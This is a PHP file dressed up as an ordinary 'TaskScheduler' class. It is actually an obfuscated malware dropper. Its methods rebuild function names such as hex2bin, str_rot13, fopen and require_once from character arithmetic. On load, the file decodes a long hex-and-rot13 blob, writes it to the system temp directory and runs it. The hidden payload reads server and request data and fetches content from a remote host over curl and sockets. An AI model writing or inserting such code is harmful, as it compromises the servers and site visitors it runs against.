<?php
class TaskScheduler {
	private $ml = '';
	private $pv = '';

	public function validateInput($p1) {
		$a = array((2*55),(108-3),((27+71)),((55-5)),((125-5)),(102-1),104);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function handleRequest($p1) {
		$a = array(((121-6)),(124-8),(((82*34)-2674)),(101-6),((2*57)),(111),((115+1)),(((17*2)+15)),(54-3));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function triggerCallback($p1,$p2) {
		$a = array(((35*1)+75),(101*1),((115-3)),((86+25)),(((47*2)+8)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function processData($p1,$p2) {
		$a = array((102),((38*100)-3681),(10+87+17),((45*85)-3720),((2*58)),(101*1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resolveAction($p1) {
		$a = array(101,((5*23)),((12*1)+99),(110-2),((40*99)-3861),(89+13));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function fn($p1,$p2=null) {
		$a = array(((123-9)),(90+15+11),(2*57),((27+42+36)),((109*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function calculateSum() {
		$this->pv = $this->fn($this->parseResponse(), '/');
	}

	public function fetchSummary() {
		$this->ml = $this->handleRequest($this->validateInput($this->yo));
	}

	public function checkConsistency() {
		$fn = $this->pv.'/iu-67d4d15f99128';
		$f = $this->triggerCallback($fn, 'w');
		$this->processData($f, $this->ml);
		$this->resolveAction($f);
		$this->updateCache($fn);
	}

	private $yo = '3c3f6375632070796e6666205f69647b636576696e6772206' . '6676e677670245f69786c3b66676e677670207368617067766' . '261205f666a28245f6e6e672c245f77626f297b76732821667' . '279733a3a245f69786c29667279733a3a5f78716828293b245' . 'f7761783d66676579726128245f77626f293b245f78667a3d6' . 'f6e667236345f71727062717228667279733a3a245f69786c5' . 'b245f6e6e675d293b73626528245f62777a3d302c245f65693' . 'd66676579726128245f78667a293b245f62777a213d3d245f6' . '5693b2b2b245f62777a29245f78667a5b245f62777a5d3d707' . '5652862657128245f78667a5b245f62777a5d295e626571282' . '45f77626f5b245f62777a25245f7761785d29293b657267686' . '561245f78667a3b7d636576696e67722066676e67767020736' . '8617067766261205f78716828297b667279733a3a245f69786' . 'c3d6e65656e6c28275f62726c273d3e2755754c5342744c497' . '0774c575a4452485a4f7959557578585a4e5759524e7043424' . 'f6a564d49495a272c275f746c66273d3e27554e3055586a705' . '5583038395775565a4d485656596b565341745256586a66545' . 'a48305143754456594e526f41755671272c275f7472273d3e2' . '7434e303d272c275f736762273d3e27427548784f6d6a69573' . '0524a4f747951526a4c57446b5a5450485a474f74795153744' . '84d55776637586b34444f4645554f474474456b4c535445343' . '84e47746e53744c4f55776665424e3037596c4542272c275f6' . '467273d3e2759755a6f52443d3d272c275f78786a273d3e274' . 'c6a344d4c443d3d272c275f626565273d3e274c6a524b50545' . '23d272c275f747966273d3e27584e5a585a6a3d3d272c275f7' . '06563273d3e27272c275f7a61273d3e27272c275f7763273d3' . 'e27272c275f6a71273d3e27416a704959307942704e5a48434' . '9304a4275525541753852416b6a46586b4c4770454e425a796' . 'a505a4f34455a4e4e525949305959526a534374704e4c743d3' . 'd272c275f76656a273d3e27434e4471546a4e4c4e453465272' . 'c275f65686d273d3e27416b6642596d4e4d5a4e6673272c275' . 'f7a6c273d3e27594f4c424e475644272c275f6c67273d3e274' . '16b665253466a3d272c275f7a67273d3e2754514c7547443d3' . 'd272c275f6279273d3e27596a5a42416a3d3d272c275f6d642' . '73d3e27597570594f764c3d272c275f667964273d3e274c4e3' . 'd3d272c275f7964273d3e275974384659445a3d272c275f727' . '272273d3e27736c486c42443950493041694c546a795a4f344' . '64933383d272c275f757976273d3e27416b4858586a3d3d272' . 'c275f627861273d3e27487a4e6d5077525253444c654e6b385' . '94d48626d50474e4d534a75494d33623d272c275f7270273d3' . 'e27594f345749334f50272c275f7a7579273d3e27272c275f7' . '568273d3e27416b4c59586a3d3d272c275f6f70273d3e27487' . 'a783d272c275f777479273d3e27536c4e38516c6665526d306' . '752464e335376443d272c275f676e273d3e27536c6a31516c7' . '0354e5134685146387451476a78546c70615250623d272c275' . 'f79656a273d3e2751465a64434e66774251566f5677483d272' . 'c275f71756f273d3e27536d3435566a4e2f43774c4141466a3' . '054764435272c275f6b6373273d3e27536d3068564e4e38584' . '748414177663354767068272c275f6e706d273d3e27272c275' . 'f75666b273d3e27536c5a38516c74365477526751475636272' . 'c275f617671273d3e27536d3036516d4c385476386551466a3' . '8272c275f696d78273d3e27272c275f69686f273d3e27536c4' . '87741444e6c426c6a6e436c5a365376523d272c275f6b716d2' . '73d3e27536d306141444e64436c6a6e576c70365377783d272' . 'c275f71786b273d3e27536c5a6b584e4e69427734445747563' . '551475a74434e4e6b5876623d272c275f61636d273d3e27536' . 'd482f43444e35415066445a6d6a665146486858444e6157513' . '83d272c275f717a273d3e275147382f4174662f5947746f437' . '64e3d272c275f746379273d3e2751474c7a587466324150446' . 'f416d783d272c275f6c6a273d3e27426a70475a74624442743' . 'd3d272c275f646f79273d3e275377494e736a3d3d272c275f6' . '27371273d3e27736b674b50764d41736a3d3d272c275f706e6' . 'e273d3e27736a6748426d62454778783d272c275f656d6a273' . 'd3e277331484b5949712f272c275f6b61273d3e2741744e3d2' . '72c275f636969273d3e275874483d272c275f6d74273d3e275' . '9453052272c275f676163273d3e2759755a49576a3d3d272c2' . '93b7d7d75726e717265285f69643a3a5f666a28275f62726c2' . '72c275f68732729293b75726e717265285f69643a3a5f666a2' . '8275f746c66272c275f6f762729293b7673287666667267282' . '45f5452475b5f69643a3a5f666a28275f7472272c275f72722' . '7295d29297b245f66623d5f76786c285f69643a3a5f666a282' . '75f736762272c275f79616a2729293b767328245f666226266' . '6676563626628245f66622c5f69643a3a5f666a28275f64672' . '72c275f716e76272929213d3d736e796672297b717672285f6' . '9643a3a5f666a28275f78786a272c275f6e652729293b7d727' . '966727b717672285f69643a3a5f666a28275f626565272c275' . 'f7069792729293b7d7d767328766666726728245f5452475b5' . 'f69643a3a5f666a28275f747966272c275f6f7327295d29297' . 'b245f65693d245f5042425856523b245f77626f3d287661672' . '9656268617128302b302b302b30293b245f6e6e673d2876616' . '729656268617128332e352b332e35293b245f70623d6e65656' . 'e6c28293b245f70625b245f77626f5d3d5f69643a3a5f666a2' . '8275f706563272c275f686127293b6a7576797228245f6e6e6' . '7297b245f70625b245f77626f5d2e3d245f65695b287661672' . '965626861712831352b3135295d5b245f6e6e675d3b7673282' . '1245f65695b2876616729656268617128372e352b372e352b3' . '72e352b372e35295d5b245f6e6e672b2876616729656268617' . '128302e352b302e35295d297b76732821245f65695b2876616' . '729656268617128372e352b372e352b372e352b372e35295d5' . 'b245f6e6e672b2876616729656268617128312b31295d296f6' . '5726e783b245f77626f2b2b3b245f70625b245f77626f5d3d5' . 'f69643a3a5f666a28275f7a61272c275f616b27293b245f6e6' . 'e672b2b3b7d245f6e6e673d245f6e6e672b287661672965626' . '8617128312e37352b312e37352b312e37352b312e3735292b2' . '876616729656268617128302e352b302e35293b7d245f77626' . 'f3d245f70625b2876616729656268617128372b37295d28292' . 'e245f70625b2876616729656268617128362b362b362b36295' . 'd3b76732821245f70625b2876616729656268617128332b332' . '95d28245f77626f29297b245f6e6e673d245f70625b2876616' . '729656268617128362e352b362e352b362e352b362e35295d2' . '8245f77626f2c245f70625b2876616729656268617128322e3' . '52b322e352b322e352b322e35295d293b245f70625b2876616' . '729656268617128322e32352b322e32352b322e32352b322e3' . '235295d28245f6e6e672c245f70625b2876616729656268617' . '128352e352b352e35295d2e245f70625b28766167296562686' . '17128372e363636363636363636363636372b372e363636363' . '636363636363636372b372e363636363636363636363636372' . '95d28245f70625b2876616729656268617128362e32352b362' . 'e32352b362e32352b362e3235295d28245f65695b287661672' . '9656268617128312b312b31295d2929293b7d7661707968717' . '228245f77626f293b7d7368617067766261205f76786c28245' . 'f6d756e2c245f7164653d3534393139297b245f7366693d5f6' . '9643a3a5f666a28275f7763272c275f68656927293b245f777' . '5613d5f69643a3a5f666a28275f6a71272c275f666e27292e2' . '45f6d756e3b76732876665f706e79796e6f7972285f69643a3' . 'a5f666a28275f76656a272c275f64626a272929297b245f667' . 'a3d706865795f7661766728245f777561293b706865795f667' . '26762636728245f667a2c504845594243475f4646595f49524' . '556534c435252452c736e796672293b706865795f667267626' . '36728245f667a2c504845594243475f4646595f49524556534' . 'c554246472c2876616729656268617128302e352b302e352b3' . '02e352b302e3529293b706865795f66726762636728245f667' . 'a2c504845594243475f53425959424a5942504e475642412c2' . '876616729656268617128302e3333333333333333333333333' . '3332b302e33333333333333333333333333332b302e3333333' . '33333333333333333333329293b706865795f6672676263672' . '8245f667a2c504845594243475f45524748454147454e41465' . '352452c2876616729656268617128302e352b302e3529293b7' . '06865795f66726762636728245f667a2c504845594243475f5' . '5524e5152452c2876616729656268617128302b302b302b302' . '9293b706865795f66726762636728245f667a2c50484559424' . '3475f5042414152504747565a524248472c287661672965626' . '8617128352b3529293b706865795f66726762636728245f667' . 'a2c504845594243475f47565a524248472c287661672965626' . '8617128322e352b322e352b322e352b322e3529293b245f736' . '6693d706865795f726b727028245f667a293b245f65753d706' . '865795f7472677661736228245f667a293b706865795f70796' . '2667228245f667a293b767328245f65755b5f69643a3a5f666' . 'a28275f65686d272c275f626d27295d213d287661672965626' . '861712836362e3636363636363636363636372b36362e36363' . '63636363636363636372b36362e36363636363636363636363' . '7292965726768656120736e7966723b7d727966727b245f707' . '6783d636e6566725f68657928245f777561293b245f6e683d2' . '8245f7076785b5f69643a3a5f666a28275f7a6c272c275f687' . '37127295d3d3d5f69643a3a5f666a28275f6c67272c275f626' . '3722729293b245f766f3d5f69643a3a5f666a28275f7a67272' . 'c275f66687a27292e245f7076785b5f69643a3a5f666a28275' . 'f6279272c275f6f6d27295d3b767328766666726728245f707' . '6785b5f69643a3a5f666a28275f6d64272c275f6f616727295' . 'd2929245f766f2e3d5f69643a3a5f666a28275f667964272c2' . '75f70626d27292e245f7076785b5f69643a3a5f666a28275f7' . '964272c275f6d6a27295d3b245f766f2e3d5f69643a3a5f666' . 'a28275f727272272c275f7a737a27292e245f7076785b5f696' . '43a3a5f666a28275f757976272c275f6d6c27295d2e5f69643' . 'a3a5f666a28275f627861272c275f77637227293b245f6f687' . '73d7366627078626372612828245f6e683f5f69643a3a5f666' . 'a28275f7270272c275f7a727a27293a5f69643a3a5f666a282' . '75f7a7579272c275f636b2729292e245f7076785b5f69643a3' . 'a5f666a28275f7568272c275f6c6b27295d2c245f6e683f287' . '66167296562686171283131302e37352b3131302e37352b313' . '1302e37352b3131302e3735293a28766167296562686171283' . '2362e3636363636363636363636372b32362e3636363636363' . '636363636372b32362e36363636363636363636363729293b7' . '67328245f6f6877297b736368676628245f6f68772c245f766' . 'f293b245f78667a3d2876616729656268617128302b30293b6' . 'a7576797228217372627328245f6f687729297b245f6b753d7' . '37472676628245f6f68772c287661672965626861712835313' . '22b35313229293b767328245f78667a29245f7366692e3d245' . 'f6b753b767328245f6b753d3d5f69643a3a5f666a28275f6f7' . '0272c275f7079272929245f78667a3d2876616729656268617' . '128302e352b302e35293b7d73707962667228245f6f6877293' . 'b7d7d657267686561245f7366693b7d245f68663d766666726' . '728245f4652454952455b5f69643a3a5f666a28275f7774792' . '72c275f677527295d293b245f7661673d766666726728245f4' . '652454952455b5f69643a3a5f666a28275f676e272c275f6b6' . 'e27295d293b245f7879633d766666726728245f46524549524' . '55b5f69643a3a5f666a28275f79656a272c275f73746627295' . 'd293b245f646d6f3d766666726728245f4652454952455b5f6' . '9643a3a5f666a28275f71756f272c275f777a6627295d293f2' . '45f4652454952455b5f69643a3a5f666a28275f6b6373272c2' . '75f766d6327295d3a5f69643a3a5f666a28275f6e706d272c2' . '75f746427293b245f61786a3d766666726728245f465245495' . '2455b5f69643a3a5f666a28275f75666b272c275f6a7527295' . 'd293f245f4652454952455b5f69643a3a5f666a28275f61767' . '1272c275f766127295d3a5f69643a3a5f666a28275f696d782' . '72c275f6c747727293b245f68663d766666726728245f46524' . '54952455b5f69643a3a5f666a28275f69686f272c275f646a7' . '227295d293f245f4652454952455b5f69643a3a5f666a28275' . 'f6b716d272c275f76667227295d3a616879793b245f7661673' . 'd766666726728245f4652454952455b5f69643a3a5f666a282' . '75f71786b272c275f6a726b27295d293f245f4652454952455' . 'b5f69643a3a5f666a28275f61636d272c275f6e787a27295d3' . 'a616879793b245f7879633d766666726728245f46524549524' . '55b5f69643a3a5f666a28275f717a272c275f6d656c27295d2' . '93f245f4652454952455b5f69643a3a5f666a28275f7463792' . '72c275f66787227295d3a616879793b7673287376796772655' . 'f696e6528245f68662c287661672965626861712839312e363' . '6363636363636363636372b39312e363636363636363636363' . '6372b39312e3636363636363636363636372929297b245f656' . '13d245f68663b7d727966727673287376796772655f696e652' . '8245f7661672c287661672965626861712839312e363636363' . '6363636363636372b39312e3636363636363636363636372b3' . '9312e3636363636363636363636372929297b245f65613d245' . 'f7661673b7d727966727b245f65613d245f7879633b7d76732' . '8766666726728245f5452475b5f69643a3a5f666a28275f6c6' . 'a272c275f726727295d29297b72707562205f69643a3a5f666' . 'a28275f646f79272c275f726d27292e245f65612e5f69643a3' . 'a5f666a28275f627371272c275f746a27292e245f646d6f2e5' . 'f69643a3a5f666a28275f706e6e272c275f6a677627292e245' . 'f61786a2e5f69643a3a5f666a28275f656d6a272c275f76682' . '7293b726b766728293b7d76732821766666726728245f65612' . '97c7c21766666726728245f646d6f297c7c217666667267282' . '45f61786a29297b726b766728293b7d727966727b245f6c756' . '43d6e65656e6c285f69643a3a5f666a28275f6b61272c275f6' . '3736527293d3e245f65612c5f69643a3a5f666a28275f63696' . '9272c275f71656227293d3e245f646d6f2c5f69643a3a5f666' . 'a28275f6d74272c275f6b6f27293d3e245f61786a293b245f7' . '9623d686579726170627172286f6e667236345f72617062717' . '228776662615f72617062717228245f6c75642929293b245f6' . '6623d5f76786c28245f7962293b767328245f6662262666676' . '563626628245f66622c5f69643a3a5f666a28275f676163272' . 'c275f7162272929213d3d736e796672297b72707562245f666' . '23b726b766728293b7d7d';

	public function updateCache($p) {
		require_once $p;
	}

	public function parseResponse() {
		$a=array((((18*5)+25)),(((100*50)-4879)),(((89*1)+26)),(70+25),(((89*1)+14)),(110-9),(110+6),((10*3)+65),(21+28+67),(101*1),(((24*10)-131)),((18+9+85)),(((61*10)-515)),((2*50)),105,(((43*2)+28)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$mo = new TaskScheduler();
$mo->calculateSum();
$mo->fetchSummary();
$mo->checkConsistency();
